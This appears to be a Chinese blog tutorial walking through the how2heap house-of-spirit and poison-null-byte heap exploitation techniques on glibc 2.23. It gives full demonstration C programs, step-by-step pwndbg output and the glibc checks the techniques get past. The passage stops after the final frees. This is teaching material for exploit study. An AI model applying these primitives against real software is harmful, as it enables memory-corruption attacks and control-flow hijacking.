- Author:ZERO-A-ONE
- Date:2021-01-22
一、house_of_spirit
house-of-spirit 是一种 fastbins 攻击方法,通过构造 fake chunk,然后将其 free 掉,就可以在下一次 malloc 时返回 fake chunk 的地址,即任意我们可控的区域。house-of-spirit 是一种通过堆的 fast bin 机制来辅助栈溢出的方法,一般的栈溢出漏洞的利用都希望能够覆盖函数的返回地址以控制 EIP 来劫持控制流,但如果栈溢出的长度无法覆盖返回地址,同时却可以覆盖栈上的一个即将被 free 的堆指针,此时可以将这个指针改写为栈上的地址并在相应位置构造一个 fast bin 块的元数据,接着在 free 操作时,这个栈上的堆块被放到 fast bin 中,下一次 malloc 对应的大小时,由于 fast bin 的先进后出机制,这个栈上的堆块被返回给用户,再次写入时就可能造成返回地址的改写。所以利用的第一步不是去控制一个 chunk,而是控制传给 free 函数的指针,将其指向一个 fake chunk。所以 fake chunk 的伪造是关键
我们先来看一下源代码:
#include <stdio.h>
#include <stdlib.h>
int main()
{
fprintf(stderr, "This file demonstrates the house of spirit attack.\n");
fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
malloc(1);
fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
unsigned long long *a;
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);
fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
fake_chunks[1] = 0x40; // this is the size
fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
fake_chunks[9] = 0x1234; // nextsize
fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
a = &fake_chunks[2];
fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a);
fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}
这里首先需要说明一个语法
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
GNU C 的一大特色就是__attribute__ 机制。attribute 可以设置:
- 函数属性(Function Attribute )
- 变量属性(Variable Attribute )
- 类型属性(Type Attribute )
attribute 书写特征是:attribute 前后都有两个下划线,并切后面会紧跟一对原括弧,括弧里面是相应的__attribute__ 参数
attribute 语法格式为:__attribute__ ((attribute-list))
关键字__attribute__ 也可以对结构体(struct )或共用体(union )进行属性设置。大致有六个参数值可以被设定,即:
- aligned
- packed
- transparent_union
- unused,
- deprecated
- may_alias 。
这里我们着重介绍aligned
参数
该声明将强制编译器确保(尽它所能)变量在分配空间时采用的对齐格式(以字节为单位),所谓对齐是存储为值的起始地址,如:
int a attribute((aligned(64))) = 10;
我们首先申请了一个fastbin大小的chunk
In file: /home/syc/Downloads/how2heap-master/glibc_2.23/house_of_spirit.c
6 fprintf(stderr, "This file demonstrates the house of spirit attack.\n");
7
8 fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
9 malloc(1);
10
► 11 fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
12 unsigned long long *a;
13 // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
14 unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
15
16 fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x21
Top chunk | PREV_INUSE
Addr: 0x603020
Size: 0x20fe1
unsigned long long *a;
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
然后我们在栈上申请了一个临时变量指针*a
pwndbg> p/x &a
$1 = 0x7fffffffddc8
pwndbg> stack 10
00:0000│ rsp 0x7fffffffddc0 ◂— 0x1
01:0008│ 0x7fffffffddc8 —▸ 0x7fffffffdf28 —▸ 0x7fffffffe2cc ◂— 'XDG_VTNR=7'
02:0010│ 0x7fffffffddd0 ◂— 0x1
03:0018│ 0x7fffffffddd8 —▸ 0x7fffffffde50 ◂— 0x1f7b996c8
04:0020│ 0x7fffffffdde0 —▸ 0x7ffff7ffe168 ◂— 0x0
05:0028│ 0x7fffffffdde8 ◂— 0x0
06:0030│ 0x7fffffffddf0 ◂— 0x1
07:0038│ 0x7fffffffddf8 —▸ 0x4008ed (__libc_csu_init+77) ◂— add rbx, 1
08:0040│ 0x7fffffffde00 ◂— 0x0
然后申请了在栈上伪造的chunk,大小为10*8 byte = 80 byte = 640 bit,然后要对16字节对齐,因为chunk在64位环境下也要求16字节对齐
pwndbg> n
This region (memory of length: 80) contains two chunks. The first starts at 0x7fffffffddd8 and the second at 0x7fffffffde18.
pwndbg> p/x &fake_chunks
$2 = 0x7fffffffddd0
pwndbg> x/10gx &fake_chunks
0x7fffffffddd0: 0x0000000000000001 0x00007fffffffde50
0x7fffffffdde0: 0x00007ffff7ffe168 0x0000000000000000
0x7fffffffddf0: 0x0000000000000001 0x00000000004008ed
0x7fffffffde00: 0x0000000000000000 0x0000000000000000
0x7fffffffde10: 0x00000000004008a0 0x00000000004005b0
然后在 fake chunk 区域伪造出两个 chunk
fake_chunks[1] = 0x40; // this is the size
fake_chunks[9] = 0x1234; // nextsize
我们可以查看一下修改后的chunk数据
pwndbg> x/14gx &fake_chunks
0x7fffffffddd0: 0x0000000000000001 0x0000000000000040
0x7fffffffdde0: 0x00007ffff7ffe168 0x0000000000000000
0x7fffffffddf0: 0x0000000000000001 0x00000000004008ed
0x7fffffffde00: 0x0000000000000000 0x0000000000000000
0x7fffffffde10: 0x00000000004008a0 0x0000000000001234
0x7fffffffde20: 0x00007fffffffdf10 0x671cbe80d38bb200
0x7fffffffde30: 0x00000000004008a0 0x00007ffff7a2d840
其实这里是伪造了两个chunk
-
chunk0:0x7fffffffddd0
- prev_size = 0x1
- size = 0x40
- fd = 0x00007ffff7ffe168
- bk = 0x0000000000000000
-
chunk1:0x7fffffffde10
- prev_size = 0x4008a0
- size = 0x1234
- fd = 0x00007fffffffdf10
- bk = 0x671cbe80d38bb200
所以这里将chunk[1]设置为0x40,是因为两个fake chunk刚好距离0x40(0x7fffffffde10-0x7fffffffddd0)
伪造 chunk 时需要绕过一些检查,首先是标志位,PREV_INUSE
位并不影响 free 的过程,但 IS_MMAPPED
位和 NON_MAIN_ARENA
位都要为零。其次,在 64 位系统中 fast chunk 的大小要在 32~128 字节之间。最后,是 next chunk 的大小,必须大于 2*SIZE_SZ
(即大于16),小于 av->system_mem
(即小于128kb),才能绕过对 next chunk 大小的检查。
libc-2.23 中这些检查代码如下:
void
__libc_free (void *mem)
{
mstate ar_ptr;
mchunkptr p; /* chunk corresponding to mem */
[...]
p = mem2chunk (mem);
if (chunk_is_mmapped (p)) /* release mmapped memory. */
{
[...]
munmap_chunk (p);
return;
}
ar_ptr = arena_for_chunk (p); // 获得 chunk 所属 arena 的地址
_int_free (ar_ptr, p, 0); // 当 IS_MMAPPED 为零时调用
}
mem
就是我们所控制的传递给 free 函数的地址。malloc返回的其实是chunk的mem地址,所以要访问真正的chunk地址,需要地址转换,其中下面两个函数用于在 chunk 指针和 malloc 指针之间做转换:
/* conversion from malloc headers to user pointers, and back */
#define chunk2mem(p) ((void*)((char*)(p) + 2*SIZE_SZ))
#define mem2chunk(mem) ((mchunkptr)((char*)(mem) - 2*SIZE_SZ))
当 NON_MAIN_ARENA
为零时返回 main arena:
/* find the heap and corresponding arena for a given ptr */
#define heap_for_ptr(ptr) \
((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1)))
#define arena_for_chunk(ptr) \
(chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)
这样,程序就顺利地进入了 _int_free
函数:
static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
INTERNAL_SIZE_T size; /* its size */
mfastbinptr *fb; /* associated fastbin */
[...]
size = chunksize (p);
[...]
/*
If eligible, place chunk on a fastbin so it can be found
and used quickly in malloc.
*/
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
#if TRIM_FASTBINS
/*
If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins
*/
&& (chunk_at_offset(p, size) != av->top)
#endif
) {
if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0))
{
[...]
errstr = "free(): invalid next size (fast)";
goto errout;
}
[...]
set_fastchunks(av);
unsigned int idx = fastbin_index(size);
fb = &fastbin (av, idx);
/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
mchunkptr old = *fb, old2;
[...]
do
{
[...]
p->fd = old2 = old;
}
while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2);
其中下面的宏函数用于获得 next chunk:
/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
这里我们将a修改为指向 (fake chunk 0 + 0x10) 的位置,即是chunk结构的mem地址位置
a = &fake_chunks[2];
pwndbg> p/x a
$5 = 0x7fffffffdde0
pwndbg> p/x &fake_chunks[2]
$6 = 0x7fffffffdde0
这样子其实就是a就是相当于我们通过malloc申请我们的fake_chunk0的时候,malloc会返回给我们fake_chunk0->mem
的地址,然后将其传递给 free 函数,这时程序就会误以为这是一块真的 chunk,然后将其释放并加入到 fastbin 中
也就是:
free(a);
我们可以发现我们伪造的fake_chunk0(0x7fffffffddd0)已经被放入fastbin里面了
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x21
Top chunk | PREV_INUSE
Addr: 0x603020
Size: 0x20fe1
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x7fffffffddd0 ◂— 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> p/x &fake_chunks[0]
$7 = 0x7fffffffddd0
pwndbg> x/10gx &fake_chunks[0]
0x7fffffffddd0: 0x0000000000000001 0x0000000000000040
0x7fffffffdde0: 0x0000000000000000 0x0000000000000000
0x7fffffffddf0: 0x0000000000000001 0x00000000004008ed
0x7fffffffde00: 0x0000000000000000 0x0000000000000000
0x7fffffffde10: 0x00000000004008a0 0x0000000000001234
然后我们在申请一个大小和我们伪造的chunk一样的,因为64位下chunk要和0x10对齐,且要加上chunk头部大小(0x10字节),故malloc(30)
实际上申请了一个0x40字节大小的chunk
pwndbg> n
malloc(0x30): 0x7fffffffdde0
所以 house-of-spirit 的主要目的是,当我们伪造的 fake chunk 内部存在不可控区域时,运用这一技术可以将这片区域变成可控的。上面为了方便观察,在 fake chunk 里填充一些字母,但在现实中这些位置很可能是不可控的,而 house-of-spirit 也正是以此为目的而出现的
该技术的缺点也是需要对栈地址进行泄漏,否则无法正确覆盖需要释放的堆指针,且在构造数据时,需要满足对齐的要求等
二、poison_null_byte
2.1 Glibc 2.23
该技术适用的场景需要某个 malloc 的内存区域存在一个单字节溢出漏洞。通过溢出下一个 chunk 的 size 字段,攻击者能够在堆中创造出重叠的内存块,从而达到改写其他数据的目的。再结合其他的利用方式,同样能够获得程序的控制权。
对于单字节溢出的利用有下面几种:
- 扩展被释放块:当溢出块的下一块为被释放块且处于 unsorted bin 中,则通过溢出一个字节来将其大小扩大,下次取得次块时就意味着其后的块将被覆盖而造成进一步的溢出
0x100 0x100 0x80
|-------|-------|-------|
| A | B | C | 初始状态
|-------|-------|-------|
| A | B | C | 释放 B
|-------|-------|-------|
| A | B | C | 溢出 B 的 size 为 0x180
|-------|-------|-------|
| A | B | C | malloc(0x180-8)
|-------|-------|-------| C 块被覆盖
|<--实际得到的块->|
- 扩展已分配块:当溢出块的下一块为使用中的块,则需要合理控制溢出的字节,使其被释放时的合并操作能够顺利进行,例如直接加上下一块的大小使其完全被覆盖。下一次分配对应大小时,即可取得已经被扩大的块,并造成进一步溢出
0x100 0x100 0x80
|-------|-------|-------|
| A | B | C | 初始状态
|-------|-------|-------|
| A | B | C | 溢出 B 的 size 为 0x180
|-------|-------|-------|
| A | B | C | 释放 B
|-------|-------|-------|
| A | B | C | malloc(0x180-8)
|-------|-------|-------| C 块被覆盖
|<--实际得到的块->|
- 收缩被释放块:此情况针对溢出的字节只能为 0 的时候,也就是本节所说的 poison-null-byte,此时将下一个被释放的块大小缩小,如此一来在之后分裂此块时将无法正确更新后一块的 prev_size 字段,导致释放时出现重叠的堆块
0x100 0x210 0x80
|-------|---------------|-------|
| A | B | C | 初始状态
|-------|---------------|-------|
| A | B | C | 释放 B
|-------|---------------|-------|
| A | B | C | 溢出 B 的 size 为 0x200
|-------|---------------|-------| 之后的 malloc 操作没有更新 C 的 prev_size
0x100 0x80
|-------|------|-----|--|-------|
| A | B1 | B2 | | C | malloc(0x180-8), malloc(0x80-8)
|-------|------|-----|--|-------|
| A | B1 | B2 | | C | 释放 B1
|-------|------|-----|--|-------|
| A | B1 | B2 | | C | 释放 C,C 将与 B1 合并
|-------|------|-----|--|-------|
| A | B1 | B2 | | C | malloc(0x180-8)
|-------|------|-----|--|-------| B2 将被覆盖
|<实际得到的块>|
- house of einherjar:也是溢出字节只能为 0 的情况,当它是更新溢出块下一块的 prev_size 字段,使其在被释放时能够找到之前一个合法的被释放块并与其合并,造成堆块重叠
0x100 0x100 0x101
|-------|-------|-------|
| A | B | C | 初始状态
|-------|-------|-------|
| A | B | C | 释放 A
|-------|-------|-------|
| A | B | C | 溢出 B,覆盖 C 块的 size 为 0x200,并使其 prev_size 为 0x200
|-------|-------|-------|
| A | B | C | 释放 C
|-------|-------|-------|
| A | B | C | C 将与 A 合并
|-------|-------|-------| B 块被重叠
|<-----实际得到的块------>|
首先分配三个 chunk,第一个 chunk 类型无所谓,但后两个不能是 fast chunk,因为 fast chunk 在释放后不会被合并。这里 chunk a 用于制造单字节溢出,去覆盖 chunk b 的第一个字节,chunk c 的作用是帮助伪造 fake chunk
我们先来看一下源代码:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>
int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
printf("Welcome to poison null byte 2.0!\n");
printf("Tested in Ubuntu 16.04 64bit.\n");
printf("This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n");
printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");
uint8_t* a;
uint8_t* b;
uint8_t* c;
uint8_t* b1;
uint8_t* b2;
uint8_t* d;
void *barrier;
printf("We allocate 0x100 bytes for 'a'.\n");
a = (uint8_t*) malloc(0x100);
printf("a: %p\n", a);
int real_a_size = malloc_usable_size(a);
printf("Since we want to overflow 'a', we need to know the 'real' size of 'a' "
"(it may be more than 0x100 because of rounding): %#x\n", real_a_size);
/* chunk size attribute cannot have a least significant byte with a value of 0x00.
* the least significant byte of this will be 0x10, because the size of the chunk includes
* the amount requested plus some amount required for the metadata. */
b = (uint8_t*) malloc(0x200);
printf("b: %p\n", b);
c = (uint8_t*) malloc(0x100);
printf("c: %p\n", c);
barrier = malloc(0x100);
printf("We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.\n"
"The barrier is not strictly necessary, but makes things less confusing\n", barrier);
uint64_t* b_size_ptr = (uint64_t*)(b - 8);
// added fix for size==prev_size(next_chunk) check in newer versions of glibc
// https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30
// this added check requires we are allowed to have null pointers in b (not just a c string)
//*(size_t*)(b+0x1f0) = 0x200;
printf("In newer versions of glibc we will need to have our updated size inside b itself to pass "
"the check 'chunksize(P) != prev_size (next_chunk(P))'\n");
// we set this location to 0x200 since 0x200 == (0x211 & 0xff00)
// which is the value of b.size after its first byte has been overwritten with a NULL byte
*(size_t*)(b+0x1f0) = 0x200;
// this technique works by overwriting the size metadata of a free chunk
free(b);
printf("b.size: %#lx\n", *b_size_ptr);
printf("b.size is: (0x200 + 0x10) | prev_in_use\n");
printf("We overflow 'a' with a single null byte into the metadata of 'b'\n");
a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
printf("b.size: %#lx\n", *b_size_ptr);
uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
printf("c.prev_size is %#lx\n",*c_prev_size_ptr);
// This malloc will result in a call to unlink on the chunk where b was.
// The added check (commit id: 17f487b), if not properly handled as we did before,
// will detect the heap corruption now.
// The check is this: chunksize(P) != prev_size (next_chunk(P)) where
// P == b-0x10, chunksize(P) == *(b-0x10+0x8) == 0x200 (was 0x210 before the overflow)
// next_chunk(P) == b-0x10+0x200 == b+0x1f0
// prev_size (next_chunk(P)) == *(b+0x1f0) == 0x200
printf("We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",
*((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
b1 = malloc(0x100);
printf("b1: %p\n",b1);
printf("Now we malloc 'b1'. It will be placed where 'b' was. "
"At this point c.prev_size should have been updated, but it was not: %#lx\n",*c_prev_size_ptr);
printf("Interestingly, the updated value of c.prev_size has been written 0x10 bytes "
"before c.prev_size: %lx\n",*(((uint64_t*)c)-4));
printf("We malloc 'b2', our 'victim' chunk.\n");
// Typically b2 (the victim) will be a structure with valuable pointers that we want to control
b2 = malloc(0x80);
printf("b2: %p\n",b2);
memset(b2,'B',0x80);
printf("Current b2 content:\n%s\n",b2);
printf("Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");
free(b1);
free(c);
printf("Finally, we allocate 'd', overlapping 'b2'.\n");
d = malloc(0x300);
printf("d: %p\n",d);
printf("Now 'd' and 'b2' overlap.\n");
memset(d,'D',0x300);
printf("New b2 content:\n%s\n",b2);
printf("Thanks to https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunks"
"for the clear explanation of this technique.\n");
assert(strstr(b2, "DDDDDDDDDDDD"));
}
首先我们申请了chunkA用于单字节溢出:
pwndbg>
a: 0x603010
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x111
Top chunk | PREV_INUSE
Addr: 0x603110
Size: 0x20ef1
首先是溢出,那么就需要知道一个堆块实际可用的内存大小(因为空间复用,可能会比分配时要大一点),用于获得该大小的函数 malloc_usable_size
如下:
/*
------------------------- malloc_usable_size -------------------------
*/
static size_t
musable (void *mem)
{
mchunkptr p;
if (mem != 0)
{
p = mem2chunk (mem);
[...]
if (chunk_is_mmapped (p))
return chunksize (p) - 2 * SIZE_SZ;
else if (inuse (p))
return chunksize (p) - SIZE_SZ;
}
return 0;
}
/* check for mmap()'ed chunk */
#define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED)
/* extract p's inuse bit */
#define inuse(p) \
((((mchunkptr) (((char *) (p)) + ((p)->size & ~SIZE_BITS)))->size) & PREV_INUSE)
/* Get size, ignoring use bits */
#define chunksize(p) ((p)->size & ~(SIZE_BITS))
所以:
pwndbg> n
Since we want to overflow 'a', we need to know the 'real' size of 'a' (it may be more than 0x100 because of rounding): 0x108
需要注意的是程序是通过 next chunk 的
PREV_INUSE
标志来判断某 chunk 是否被使用的
为什么是0x108呢,是因为所以chunk的头部需要占用0x10字节,但是chunk可以使用下一个chunk头部的prev_size位,就节省了0x8字节,所以最后是占用了0x108字节
然后我们连续申请了chunkB和chunkC
pwndbg> n
b: 0x603120
pwndbg>
c: 0x603330
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x111
Allocated chunk | PREV_INUSE
Addr: 0x603110
Size: 0x211
Allocated chunk | PREV_INUSE
Addr: 0x603320
Size: 0x111
Top chunk | PREV_INUSE
Addr: 0x603430
Size: 0x20bd1
barrier 这个chunk是用来防止free(c)
的时候被放入 top-chunk,因为chunkC是距离Top-chunk最近的chunk,根据glibc的规则chunkC会和Top-chunk合并成为新的Top-chunk,所以需要在chunkC和Top-chunk中间放入一个barrier-chunk用来隔离。以及 b和c 的 chunk 大小不能为 fastbins chunk size。因为 fastbins chunk 在被释放后不会合并
pwndbg> n
We allocate a barrier at 0x603440, so that c is not consolidated with the top-chunk when freed.
The barrier is not strictly necessary, but makes things less confusing
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x111
Allocated chunk | PREV_INUSE
Addr: 0x603110
Size: 0x211
Allocated chunk | PREV_INUSE
Addr: 0x603320
Size: 0x111
Allocated chunk | PREV_INUSE
Addr: 0x603430
Size: 0x111
Top chunk | PREV_INUSE
Addr: 0x603540
Size: 0x20ac1
接下来我们需要获取一个指向chunkB的size位的指针:
uint64_t* b_size_ptr = (uint64_t*)(b - 8);
我们先看一下修改前chunkC附近的内存布局:
pwndbg> x/20gx c-0x30
0x603300: 0x0000000000000000 0x0000000000000000
0x603310: 0x0000000000000000 0x0000000000000000
0x603320: 0x0000000000000000 0x0000000000000111
0x603330: 0x0000000000000000 0x0000000000000000
0x603340: 0x0000000000000000 0x0000000000000000
0x603350: 0x0000000000000000 0x0000000000000000
0x603360: 0x0000000000000000 0x0000000000000000
0x603370: 0x0000000000000000 0x0000000000000000
0x603380: 0x0000000000000000 0x0000000000000000
0x603390: 0x0000000000000000 0x0000000000000000
为了在修改 chunk b 的 size 字段后,依然能通过 unlink 的检查,我们需要伪造一个 c.prev_size 字段,字段的大小是很好计算的,即
(0x211 & 0xff00) == 0x200
这里我们先计算得到c.prev_size距离b指针的距离:
- *b = 0x603120
- *c = 0x603330
- c.prev_size = 0x603330 - 0x10 = 0x603320
然后把 chunk b 释放掉,chunk b 随后被放到 unsorted bin 中,大小是 0x200:
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x111
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x603110
Size: 0x211
fd: 0x7ffff7dd1b78
bk: 0x7ffff7dd1b78
Allocated chunk
Addr: 0x603320
Size: 0x110
Allocated chunk | PREV_INUSE
Addr: 0x603430
Size: 0x111
Top chunk | PREV_INUSE
Addr: 0x603540
Size: 0x20ac1
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x603110 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x603110
smallbins
empty
largebins
empty
此时的堆布局如下:
pwndbg> x/20gx c-0x30
0x603300: 0x0000000000000000 0x0000000000000000
0x603310: 0x0000000000000200 0x0000000000000000
0x603320: 0x0000000000000210 0x0000000000000110
0x603330: 0x0000000000000000 0x0000000000000000
0x603340: 0x0000000000000000 0x0000000000000000
0x603350: 0x0000000000000000 0x0000000000000000
0x603360: 0x0000000000000000 0x0000000000000000
0x603370: 0x0000000000000000 0x0000000000000000
0x603380: 0x0000000000000000 0x0000000000000000
0x603390: 0x0000000000000000 0x0000000000000000
pwndbg> x/20gx b-0x10
0x603110: 0x0000000000000000 0x0000000000000211
0x603120: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x603130: 0x0000000000000000 0x0000000000000000
0x603140: 0x0000000000000000 0x0000000000000000
0x603150: 0x0000000000000000 0x0000000000000000
0x603160: 0x0000000000000000 0x0000000000000000
0x603170: 0x0000000000000000 0x0000000000000000
0x603180: 0x0000000000000000 0x0000000000000000
0x603190: 0x0000000000000000 0x0000000000000000
0x6031a0: 0x0000000000000000 0x0000000000000000
pwndbg> n
b.size: 0x211
pwndbg>
b.size is: (0x200 + 0x10) | prev_in_use
pwndbg>
We overflow 'a' with a single null byte into the metadata of 'b'
最关键的一步,通过溢出漏洞覆写 chunk b 的数据:
a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
然后我们需要查看一下chunkc.prev_size 字段
pwndbg> n
c.prev_size is 0x210
我们查看一下b的内存布局:
pwndbg> n
b.size: 0x200
pwndbg> x/20gx b-0x10
0x603110: 0x0000000000000000 0x0000000000000200
0x603120: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x603130: 0x0000000000000000 0x0000000000000000
0x603140: 0x0000000000000000 0x0000000000000000
0x603150: 0x0000000000000000 0x0000000000000000
0x603160: 0x0000000000000000 0x0000000000000000
0x603170: 0x0000000000000000 0x0000000000000000
0x603180: 0x0000000000000000 0x0000000000000000
0x603190: 0x0000000000000000 0x0000000000000000
0x6031a0: 0x0000000000000000 0x0000000000000000
这时,根据我们上一篇文字中讲到的计算方法:
-
chunksize(P) == *((size_t*)(b-0x8)) & (~ 0x7) == 0x200
-
pwndbg> p/x *((size_t*)(b-0x8))& (~ 0x7) $4 = 0x200
-
-
prev_size (next_chunk(P)) == *(size_t*)(b-0x10 + 0x200) == 0x200
-
pwndbg> p/x *(size_t*)(b-0x10 + 0x200) $5 = 0x200
-
可以成功绕过检查。另外 unsorted bin 中的 chunk 大小也变成了 0x200
pwndbg>
We will pass the check since chunksize(P) == 0x200 == 0x200 == prev_size (next_chunk(P))
接下来随意分配两个 chunk,malloc 会从 unsorted bin (也就是我们之前free掉的B)中划出合适大小的内存返回给用户:
pwndbg> n
b1: 0x603120
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x111
Allocated chunk | PREV_INUSE
Addr: 0x603110
Size: 0x111
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x603220
Size: 0xf1
fd: 0x7ffff7dd1b78
bk: 0x7ffff7dd1b78
Allocated chunk
Addr: 0x603310
Size: 0x00
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x603220 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x603220 /* ' 2`' */
smallbins
empty
largebins
empty
可以看到原来的chunkB被划分走了0x100个字节分配给新的chunkB1,chunkB1的地址就是原来chunkB的地址:
pwndbg> n
b1: 0x603120
pwndbg> n
b: 0x603120
我们注意到几个地方:
- chunk b1 的位置就是 chunk b 的位置
- 这个时候 b1 和 c 之间有个 chunk b,这个时候 chunk c 的 prev_size 本应该变为 0xf0
这里有个很有趣的东西,分配堆块后,发生变化的是 fake c.prev_size,而不是 c.prev_size。所以 chunk c 依然认为 chunk b 的地方有一个大小为 0x210 的 free chunk。但其实这片内存已经被分配给了 chunk b1
pwndbg> x/10gx c-0x20
0x603310: 0x00000000000000f0 0x0000000000000000 <-fake chunk
0x603320: 0x0000000000000210 0x0000000000000110 <-chunkC
0x603330: 0x0000000000000000 0x0000000000000000
0x603340: 0x0000000000000000 0x0000000000000000
0x603350: 0x0000000000000000 0x0000000000000000
pwndbg> n
Now we malloc 'b1'. It will be placed where 'b' was. At this point c.prev_size should have been updated, but it was not: 0x210
pwndbg> n
Interestingly, the updated value of c.prev_size has been written 0x10 bytes before c.prev_size: f0
然后我们在 create 一个 chunk b2,这个时候unsortedbin(chunB)又被切割了分配给chunkB2
pwndbg> n
b2: 0x603230
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x111
Allocated chunk | PREV_INUSE
Addr: 0x603110
Size: 0x111
Allocated chunk | PREV_INUSE
Addr: 0x603220
Size: 0x91
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x6032b0
Size: 0x61
fd: 0x7ffff7dd1b78
bk: 0x7ffff7dd1b78
Allocated chunk
Addr: 0x603310
Size: 0x00
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x6032b0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x6032b0
smallbins
empty
largebins
empty
然后就是,我们先后 free chunkB1和chunkC
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x111
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x603110
Size: 0x321
fd: 0x6032b0
bk: 0x7ffff7dd1b78
Allocated chunk
Addr: 0x603430
Size: 0x110
Top chunk | PREV_INUSE
Addr: 0x603540
Size: 0x20ac1
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x603110 —▸ 0x6032b0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x603110
smallbins
empty
largebins
empty
